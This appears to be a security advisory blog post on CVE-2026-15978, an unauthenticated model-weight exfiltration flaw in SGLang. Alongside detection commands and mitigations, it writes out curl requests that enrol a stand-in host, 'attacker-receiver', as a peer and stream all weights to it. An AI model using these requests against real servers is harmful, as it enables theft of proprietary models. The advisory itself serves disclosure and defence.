Listen to this Post
CVE-2026-15978 describes a model weight exfiltration vulnerability in SGLang, a high‑performance serving framework for large language models and multimodal AI. The flaw stems from SGLang’s default authentication behaviour: when no API keys are configured, the server exposes two critical HTTP endpoints that are meant for distributed weight management. These endpoints are designed to coordinate NCCL‑based weight broadcasting across cluster nodes, but they lack any authentication or authorisation checks in the absence of explicit keys.
A remote attacker can exploit this by sending crafted requests to these unprotected endpoints. The attacker specifies a `master_address` and other peer parameters, effectively enrolling themselves as a legitimate distributed node. Once enrolled, the attacker triggers the weight broadcasting routine. SGLang’s NCCL process group then initiates a distributed all‑reduce or broadcast operation, streaming the entire set of model parameters – which can be hundreds of gigabytes – to the attacker‑controlled receiver. Because the endpoints are exposed on the same network interface as the inference API, any external party that can reach the server can issue these requests.
The vulnerability is rooted in optional authentication: SGLang’s route‑handling logic follows a decision tree that permits requests when no key is provided. This “fail‑open” design was intended for ease of development but becomes a critical risk in production environments where the server is often containerised and exposed via Docker, Kubernetes, or cloud GPU platforms. The NCCL communication itself is unencrypted and unauthenticated, making the exfiltrated data easily captured.
This issue affects all SGLang versions up to and including 0.5.15. The CISA‑ADP has assigned a CVSS v3.1 base score of 7.5 (High) with the vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N, reflecting the network‑reachable, low‑complexity nature of the attack and the complete loss of confidentiality. The vulnerability was discovered by Apoorv Dayal and disclosed through GitHub Security Advisories, with coordination by CERT/CC (VU281278). Public disclosure occurred on 30 July 2026.
The attack requires no user interaction and no prior privileges. An attacker only needs outbound connectivity from the SGLang server to their own receiver, which is typical in cloud environments. Once exploited, the entire model weight set is exposed, enabling model theft, intellectual property loss, and potential further attacks such as model inversion or backdoor insertion. The root cause is the absence of mandatory authentication for administrative control planes, a pattern that repeats across several other CVEs in the same disclosure.
DailyCVE Form:
Platform: SGLang
Version: <=0.5.15
Vulnerability: Model Weight Exfiltration
Severity: High (CVSS 7.5)
date: 2026-07-30
Prediction: 2026-07-24 (v0.5.16)
What Undercode Say:
Analytics and detection should focus on monitoring NCCL traffic and unusual peer enrollment requests. The following commands and patterns can help identify exploitation attempts:
Monitor for unexpected NCCL initialisation or broadcast traffic sudo tcpdump -i any port 9100 -nn -v | grep -E "NCCL|broadcast" Check SGLang server logs for unauthorised peer registration grep -i "register.peer" /var/log/sglang/server.log grep -i "master_address" /var/log/sglang/server.log Detect outbound connections to unexpected IPs on NCCL ports ss -tunap | grep -E "9100|9101|9102" Audit exposed endpoints – look for requests to /control or /distributed tail -f /var/log/sglang/access.log | grep -E "POST /(control|distributed)"
Network analysts should also watch for large data transfers (multiple gigabytes) originating from the SGLang server to external IPs, especially over ports 9100‑9102 (NCCL default range). Enabling detailed audit logging on the server and correlating with authentication failures can reveal unauthorised access attempts.
How Exploit:
An attacker can exploit CVE-2026-15978 by sending a malicious HTTP request to the unprotected distributed control endpoint. The following example demonstrates a typical attack flow using curl:
1. Enrol as a malicious distributed peer
curl -X POST http://target-sglang:30000/control/register_peer \
-H "Content-Type: application/json" \
-d '{
"master_address": "attacker-receiver:9100",
"world_size": 1,
"rank": 0,
"store_type": "tcp"
}'
2. Trigger weight broadcasting to the attacker's receiver
curl -X POST http://target-sglang:30000/control/broadcast_weights \
-H "Content-Type: application/json" \
-d '{
"peer_id": "attacker-peer",
"broadcast_all": true
}'
The server then uses NCCL to broadcast all model parameters to the provided master_address. The attacker’s receiver captures the streamed weight data, which can be saved and reconstructed offline. No authentication is required, and the attack succeeds even if the server is behind a firewall, as long as the outbound connection to the attacker’s receiver is allowed.
Protection:
Immediate mitigation requires upgrading to SGLang version 0.5.16 or later, which enforces mandatory authentication for all distributed control endpoints. If an upgrade is not possible, administrators should:
– Configure API keys – Set `–api-key` or `–admin-api-key` when launching the server. This activates the authentication checks and blocks unauthenticated requests.
– Restrict network exposure – Bind the server to `127.0.0.1` or use a dedicated internal interface, and deploy a reverse proxy with strict ACLs that allow only authorised clients.
– Block outbound NCCL ports – Use firewall rules (e.g., iptables -A OUTPUT -p tcp --dport 9100:9102 -j DROP) to prevent the server from initiating connections to untrusted external receivers.
– Enable audit logging – Monitor access logs for any requests to `/control/` or `/distributed/` and alert on anomalies.
Long‑term, organisations should adopt a zero‑trust architecture for AI infrastructure, separating the inference plane from the management plane and requiring explicit authentication for every administrative operation.
Impact:
Successful exploitation leads to the complete exfiltration of all model weights hosted by the SGLang server. This constitutes a severe breach of confidentiality, as the model is the core intellectual property of many AI‑driven businesses. Attackers can:
– Steal proprietary models – Re‑create and redistribute the model, undermining competitive advantage.
– Perform model inversion – Reconstruct training data from the weights, potentially exposing sensitive information.
– Insert backdoors – Modify the exfiltrated weights and re‑upload them, poisoning future inference.
– Leverage the model for further attacks – Use the stolen model to craft adversarial examples or to power other malicious services.
The CVSS score of 7.5 reflects the high confidentiality impact, but the real‑world consequences can be catastrophic, especially for organisations that have invested millions in training custom models. The vulnerability also highlights a systemic issue in AI serving frameworks where convenience defaults overshadow security, urging a paradigm shift towards secure‑by‑design principles.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
